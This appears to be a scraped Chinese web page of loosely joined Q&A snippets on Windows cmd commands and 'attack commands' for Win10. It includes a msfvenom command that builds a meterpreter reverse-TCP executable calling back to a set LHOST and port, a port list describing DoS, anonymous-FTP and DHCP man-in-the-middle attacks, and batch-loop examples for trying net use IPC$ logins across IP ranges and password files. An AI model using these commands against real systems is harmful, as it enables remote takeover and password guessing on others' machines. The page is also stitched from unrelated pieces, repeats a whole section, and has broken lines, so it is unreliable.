windows之家1.Win10 cmd命令大全是什么?
cmd命令有很多，下面是一些基础的用的比较多的cmd命令：
winver---------检查Windows版本；
wmimgmt.msc----打开windows管理体系结构（WMI）;
wupdmgr--------windows更新程序；
wscript--------windows脚本宿主设置；
write----------写字板；
winmsd---------系统信息；
wiaacmgr-------扫描仪和照相机向导。
下面是一些基础的用的比较少的cmd命令：
net stop messenger-----停止信使服务；
net start messenger----开始信使服务；
notepad--------打开记事本；
nslookup-------网络管理的工具向导；
ntbackup-------系统备份和还原；
narrator-------屏幕“讲述人”；
ntmsmgr.msc----移动存储管理器；
ntmsoprq.msc---移动存储管理员操作请求；
netstat -an----(TC)命令检查接口；
syncapp--------创建一个公文包；
sigverif-------文件签名验证程序；
sndrec32-------录音机；
shrpubw--------创建共享文件夹；
secpol.m转载自电脑十万个为什么；
syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码；
services.msc---本地服务设置；
Sndvol32-------音量控制程序；
sfc.exe--------系统文件检查器；
sfc /scannow---windows文件保护。
2.KaliLinux如何用于攻击Windows10计算机?
在Kali Linux上使用Metasploit攻击Win10机器的技巧： 创建恶意.exe文件要创建可执行文件，您可以使用msfvenom，如下面的命令所示：msfvenom -p windows / meterpreter / reverse_tcp -a x86 -platform windows -f exe LHOST = 192.168.100.4 LPORT = 4444 -o /root/something32.exe上面的命令指示msfvenom生成一个32位Windows可执行文件，该文件为有效负载实现反向TCP连接。
必须将格式指定为类型.exe，并且必须定义本地主机（LHOST）和本地端口（LPORT）。
3.打开Win10专业版高架命令提示符的技巧有哪些呢?
Windows命令提示符是一个允许您通过在窗口中键入命令来执行程序，更改设置和访问文件的应用程序。
命令提示符通常由管理员和高级用户快速键入命令或执行一次执行多个操作的脚本。当您在Win10专业版中打开命令提示符时，您将能够在登录用户的安全级别下执行命令。
因此，当您尝试访问文件或发出需要管理权限的命令时，您将无法执行此操作。 正是出于这个原因，我们需要能够打开所谓的升级命令提示符，这是一个命令提示符，允许您以机器的管理员身份访问文件和程序。
标准Windows 10专业版命令提示符的示例如下所示：当您选择以管理员身份运行时，会出现一个用户帐户控制提示，询问是否要允许命令提示符在您的计算机上进行更改。 单击是按钮，将打开Windows 10专业版 Elevated命令提示符。
您可以指出，命令提示符正在运行，具有提升权限，因为Windows标题将显示如下所示的管理员：命令提示符。请注意，升高的命令提示符在Windows System32中启动，例如C: Windows System32 ，文件夹而不是用户配置文件。
由于这是一个重要的文件夹，我建议您在执行任何命令之前更改为您的用户配置文件文件夹。 为此，键入cd%userprofile%，然后按键盘上的回车键。
在这个高架命令提示符下，您现在可以启动需要管理权限的程序或访问文件。有关命令提示符及其可用命令的更多信息，您可以查看我们的Windows命令提示符简介教程。
一如以往，如果您对此程序有任何疑问，请在我们的Win10专业版论坛中询问我们。
4.常见电脑端口详解及部分攻击策略是什么
0 通常用于分析操作系统。
这一方法能够工作是因为在一些系统中“0”是无效端口，当你试图使用一种通常的闭合端口连接它时将产生不同的结果。一种典型的扫描：使用IP地址为 0。
0。0。
0，设置ACK位并在以太网层广播。 1 tcpmux 这显示有人在寻找SGIIrix机器。
Irix是实现tcpmux的主要提供者，缺省情况下tcpmux在这种系统中被打开。Iris机器在发布时含有几个缺省的无密码的帐户，如lp,guest, uucp, nuucp, demos, tutor, diag, EZsetup, OutOfBox， 和4Dgifts。
许多管理员安装后忘记删除这些帐户。因此Hacker们在Internet上搜索tcpmux 并利用这些帐户。
7Echo 你能看到许多人们搜索Fraggle放大器时，发送到x。x。
x。0和x。
x。x。
255的信息。常见的一种DoS攻击是echo循环（echo-loop），攻击者伪造从一个机器发送到另一个UDP数据包，而两个机器分别以它们最快的方式回应这些数据包。
（参见Chargen） 另一种东西是由DoubleClick在词端口建立的TCP连接。有一种产品叫做“Resonate Global Dispatch”，它与DNS的这一端口连接以确定最近的路由。
Harvest/squid cache将从3130端口发送UDP echo：“如果将cache的source_ping on选项打开，它将对原始主机的UDP echo端口回应一个HIT reply。 ”这将会产生许多这类数据包。
11 sysstat 这是一种UNIX服务，它会列出机器上所有正在运行的进程以及是什么启动了这些进程。这为入侵者提供了许多信息而威胁机器的安全，如暴露已知某些弱点或帐户的程序。
这与UNIX系统中“ps”命令的结果相似再说一遍：ICMP没有端口，ICMP port 11通常是ICMP type=11 19 chargen 这是一种仅仅发送字符的服务。 UDP版本将会在收到UDP包后回应含有垃圾字符的包。
TCP连接时，会发送含有垃圾字符的数据流知道连接关闭。Hacker利用IP欺骗可以发动DoS攻击。
伪造两 个chargen服务器之间的UDP包。由于服务器企图回应两个服务器之间的无限的往返数据通讯一个chargen和echo将导致服务器过载。
同样fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包，受害者为了回应这些数据而过载。 21 ftp 最常见的攻击者用于寻找打开“anonymous”的ftp服务器的方法。
这些服务器带有可读写的目录。Hackers或Crackers利用这些服务器作为传送warez （私有程序） 和pr0n（故意拼错词而避免被搜索引擎分类）的节点。
22 ssh PcAnywhere建立TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点。
如果配置成特定的模式，许多使用RSAREF库的版本有不少漏洞。（建议在其它端口运行ssh）还应该注意的是ssh工具包带有一个称为make-ssh-known-hosts的程序。
它会扫描整个 域的ssh主机。你有时会被使用这一程序的人无意中扫描到。
UDP（而不是TCP）与另一端的5632端口相连意味着存在搜索pcAnywhere的扫描。5632 （十六进制的0x1600）位交换后是0x0016（使进制的22）。
23 Telnet 入侵者在搜索远程登陆UNIX的服务。 大多数情况下入侵者扫描这一端口是为了找到机器运行的操作系统。
此外使用其它技术，入侵者会找到密码。 25 smtp 攻击者（spammer）寻找SMTP服务器是为了传递他们的spam。
入侵者的帐户总被关闭，他们需要拨号连接到高带宽的e-mail服务器上，将简单的信息传递到不同的地址。 SMTP服务器（尤其是sendmail）是进入系统的最常用方法之一，因为它们必须完整的暴露于Internet且邮件的路由是复杂的（暴露+复杂=弱点）。
53 DNS Hacker或crackers可能是试图进行区域传递（TCP），欺骗DNS(UDP)或隐藏其它通讯。 因此防火墙常常过滤或记录53端口。
需要注意的是你常会看到53端口做为UDP源端口。不稳定的防火墙通常允许这种通讯并假设这是对DNS查询的回复。
Hacker常使用这种方法穿透防火墙。 67和68 Bootp和DHCP UDP上的Bootp/DHCP：通过DSL和cable-modem的防火墙常会看见大量发送到广播地址255。
255。255。
255的数据。这些机器在向DHCP服务器请求一个地址分配。
Hacker常进入它们分配一个地址把自己作为局部路由器而发起大量的“中间人”（man-in-middle）攻击。客户端向68端口（bootps）广播请求配置，服务器向67端口（bootpc）广播回应请求。
这种回应使用广播是因为客户端还不知道可以发送的IP地址。 69 TFTP(UDP) 许多服务器与bootp一起提供这项服务，便于从系统下载启动代码。
但是它们常常错误配置而从系统提供任何文件，如密码文件。它们也可用于向系统写入文件。
79 finger Hacker 用于获得用户信息，查询操作系统，探测已知的缓冲区溢出错误，回应从自己机器到其它机器finger扫描。 98 linuxconf 这个程序提供linux boxen的简单管理。
通过整合的HTTP服务器在98端口提供基于Web界面的服务。它已发现有许多安全问题。
一些版本setuidroot，信任局域网，在/tmp下建立Internet可访问的文件，LANG环境变量有缓冲区溢出。 此外因为它包含整合的服务器，许多典型的HTTP漏洞可能存在（缓冲区溢出，历遍目录等）。
109 POP2 并不象POP3那样有名，但许多服务器同时提供两种服务（向后兼容）。在同一个。
5.DOS IP攻击命令是什么
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。
ftp ftp连接上某服务器（同win2K）
附：批处理命令与变量
1:for命令及变量 基本格式：
FOR /参数 %variable IN (set) DO command [command_parameters] %variable：指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。
批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set)：指定一个或一组文件，可使用通配符，如：（D:user.txt）和（1 1 254）(1 -1 254),{ “(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254;“(1 -1 254)”说明：即从254到1 }
command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&； 来隔开
command_parameters：为特定命令指定参数或命令行开关
IN (set)：指在（set）中取值；DO command ：指执行command
参数：/L 指用增量形式{ （set）为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ （set）为文件时，如（d:pass.txt）时 }。
6.Win10 cmd命令大全谁有
cmd命令有很多，下面是一些基础的用的比较多的cmd命令：
winver---------检查Windows版本；
wmimgmt.msc----打开windows管理体系结构（WMI）;
wupdmgr--------windows更新程序；
wscript--------windows脚本宿主设置；
write----------写字板；
winmsd---------系统信息；
wiaacmgr-------扫描仪和照相机向导。
下面是一些基础的用的比较少的cmd命令：
net stop messenger-----停止信使服务；
net start messenger----开始信使服务；
notepad--------打开记事本；
nslookup-------网络管理的工具向导；
ntbackup-------系统备份和还原；
narrator-------屏幕“讲述人”；
ntmsmgr.msc----移动存储管理器；
ntmsoprq.msc---移动存储管理员操作请求；
netstat -an----(TC)命令检查接口；
syncapp--------创建一个公文包；
sigverif-------文件签名验证程序；
sndrec32-------录音机；
shrpubw--------创建共享文件夹；
secpol.m转载自电脑十万个为什么；
syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码；
services.msc---本地服务设置；
Sndvol32-------音量控制程序；
sfc.exe--------系统文件检查器；
sfc /scannow---windows文件保护。
转载请注明出处windows之家 » win10电脑攻击指令大全